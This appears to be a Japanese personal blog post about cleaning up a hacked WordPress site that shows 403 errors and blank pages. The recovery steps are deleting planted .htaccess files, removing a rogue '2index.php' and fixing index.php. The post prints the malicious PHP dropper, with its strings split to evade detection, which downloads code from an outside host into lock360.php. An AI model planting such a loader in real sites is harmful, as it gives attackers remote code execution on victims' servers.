WordPressは情報も多く、カスタマイズしやすくて使っている人が多い反面、ハッキングトラブルなどをはじめとしたエラーの経験をした人も多いのではないでしょうか?エラーのタイプにもいろいろありますが、こまるのが403エラー。
ファイル/ページへのアクセス権限がなくなってページが見られない、真っ白な画面でログインもできないといった経験で頭も真っ白になった人もいるはず。
先日に私も同じ経験をしましたが、なんとか自分で復旧することができましたのでその経験を記事にしようと思います。
・いままさにWordPressの管理画面に入れなくなっている
・403 Forbiddenのエラーがでて頭も真っ白になっている
・『WordPress 画面 真っ白』で検索してみて出てきた人
結論:エラーの原因はアクセス権限がなくなったこと
私の体験としては、ページによって403エラーと出るものと、真っ白になってしまうページがありました。
これまでもページのエラーは多数経験してきましたが、ページが真っ白になると頭の中もパニックになりますよね。でもきっと大丈夫。一旦落ち着きましょう。
何もしなければ時間が解決するものでは無いですが、焦ってもいいことはありません。
とにかく必要なのは、現状の把握です。
- 管理画面にはログインできるのか?
- 管理画面のページレイアウトは崩れていないか?
- 管理画面の下層ページ(テーマ編集画面とか、プラグインページとか)はみれるのか?
- サイト本体のページはみれているか?
- サイト本体のレイアウトは崩れていないか?
こういったことを確認していきましょう。
ちなみに私の場合は、サイト本体も管理画面も真っ白or403エラーの表示になっていてどうしたもんかとググりまくりました。
結果的には勝手に増殖されたファイルを削除したり、必要なファイルでも不正に書き換えられていたりするのでコードを修正したり、、と対応が必要でした。
その際合わせてあった方が良い…というかほぼ必須レベルで必要なのがFTPのアクセス情報です。
サーバー契約時に送られてきているであろうメールを確認し、FTP情報を確認しておきましょう。
復旧実体験①:まずはFTPにアクセスしてサイトのバックアップをとっておく
FTPにアクセスしたら『サーバーに登録しているドメイン名のフォルダ』にアクセスします。
ここではエックスサーバーに紐づけている『エラーサイト.com』というドメインが対象だと仮定します。
契約しているサーバーによってフォルダ構成が変わりますが、エックスサーバーの場合には
エラーサイト.com>public_html
というフォルダの中がアクセスできていない403エラーの対象となっているので、public_htmlの中にあるフォルダ・ファイルをまるっとバックアップとっておきます。
復旧実体験②:不要なhtaccessファイルを削除
アクセス権限のない403エラーであれば、『アクセス権限が不正に書き換えられた』と考えるのが妥当です。
じゃあアクセス権限を管理しているファイルは何か?と考えると『.htacccess』というファイルが挙げられます。
これは本来あまり頻繁に扱うものでは無いのですが、今回ばかりは覚悟を決めて修正を加えたり削除していく必要があります。
デフォルトでサイト構築をした場合には、public_htmlのフォルダの中に一つ.htaccessがあれば十分な状態なのですが、今回はそれがご丁寧に全てのフォルダに一つずつ作成されており、さらにそれらが書き換えられた状態で置かれていました。
書き換えられ実際に置かれていたhtaccessの中身(VSCodeで開いたもののキャプチャなので見るソフトによってちょっと色味は変わりますが、大事なのはFilesmatch〜の部分で書かれている、1行目から9行目までの内容です。)
これは
- .py・.exe・.phpファイルがあった場合にそのアクセス権限をすべて拒否
- about.php/radio.php/index.php/content.php/lock360.php/admin.php/wp-login.phpのどれかがあればそれらのアクセス権限を拒否
えぐいですねー。これがご丁寧に全てのフォルダにあるんですよ。どんだけ見せたく無いんだっていう感じですね笑
htaccessのファイルは全部で464件ありましたので一つずつ削除していきます。
ちなみに、htaccessのファイル情報を正しく書き換えてアップロードして上書き、という手順もやってみたのですが、アップロードするたびにファイルがすぐに書き換えられてしまうため(後述)、削除した方が間違いないです。
これはFTPソフト(今回はFilezilla)を使って一つずつフォルダ開いて削除していく事を繰り返しました。
復旧実体験③:不要なphpファイルを削除
htaccessを削除しても、これはアクセス権限を定義するファイルであるためぱっと見は戻るかもですが実はまだトラブル解消には至っていません。
他に存在している悪質なファイルによってファイル情報が書き換えられてしまうためhtaccess情報が作成されたりしちゃうわけですね。
というわけで、『何か不正に書き換えるファイル』を探していくわけですが、これってもしかしたらファイル名は人によって違うかもなので参考例として捉えてもらいたいですが、自分の場合は『2index.php』というものが諸悪の根源のようでした。
これはどうして見つけられたかというと、htaccessファイルを削除していく関係で、フォルダの中身を全て確認するわけですが、その中で「ん?こんなファイルWordPressにあったっけ?」っていうのがたまにあるわけですね。それをバックアップとっているVSCode側で見てみると明らかに変なコードだったため見つけることができたというわけです。
ではその中身はどんなだったかというとこんな内容でした。
<?php
echo file_put_contents("lock3"."60.p"."hp",file_get_contents("htt"."p://c.j"."kv"."2.co"."m/1"));
ファイルの中身はこれだけ。
ね、明らかにおかしくないですか?
phpのコードを全部理解しているわけではないので調べてみると
データをファイルに書き込むという処理だとわかったわけですね。
https://www.php.net/manual/ja/function.file-put-contents.php
つまり、lock360.phpというファイルを作って、該当のURLからデータを書き加える
という処理になるわけです。
そしてこのlock360.phpが先のhtaccessに書いてあった不正なアクセス権限の対象ファイルになっているわけですよ。
だからこのファイルを削除しない限りデータをアップロードするたびに上記の処理が始まって不要なファイル生成→アクセス権限の書き換えという状況がループしていると考えたんですね。
そんなわけで、この『2index.php』というファイルがどこにあるのか調べた上でそのファイルを削除しました。
復旧実体験④:index.phpを正しく書き換える
ここまで来ればあとはもう少し。ほとんど『悪意のあるファイル』は消えています。
今回調べていく中で出てきたのは『index.phpも不正に書き換えられていることがある』ということでしたので、それについても確認しました。
するとpublic_htmlの中にあったindex.phpが明らかに変なコードになっていました。
明らかに変ってどんなコードかっていうとこんな感じ。
ね、変でしょ?笑
ということでこちらについても不要な部分を削除しますが、index.php自体はサイトに必要なファイルになるため、修正したものをアップロードします。
この時も念の為、ファイルの上書きではなく『サーバー側のindex.phpを削除した後に自分のPC環境から正しいindex.phpをアップロード』とした方が間違い無いです。
この工程を経たところ、管理画面にアクセスできるようになりレイアウトもしっかり反映されてサイトの復旧が完了しました。
完了後はログインURLを変更したり、WordPress自体やプラグインのアップデートを行って脆弱性の修正を忘れないようにしましょう。
WordPressにおきた403エラーはアクセスの権限の不正書き換え
よくあるものでは無いので、起きてしまったらびっくりしちゃう403エラー。
でも焦らず、一つずつ対処していけばうまく復旧するはずです。諦めず頑張りましょう。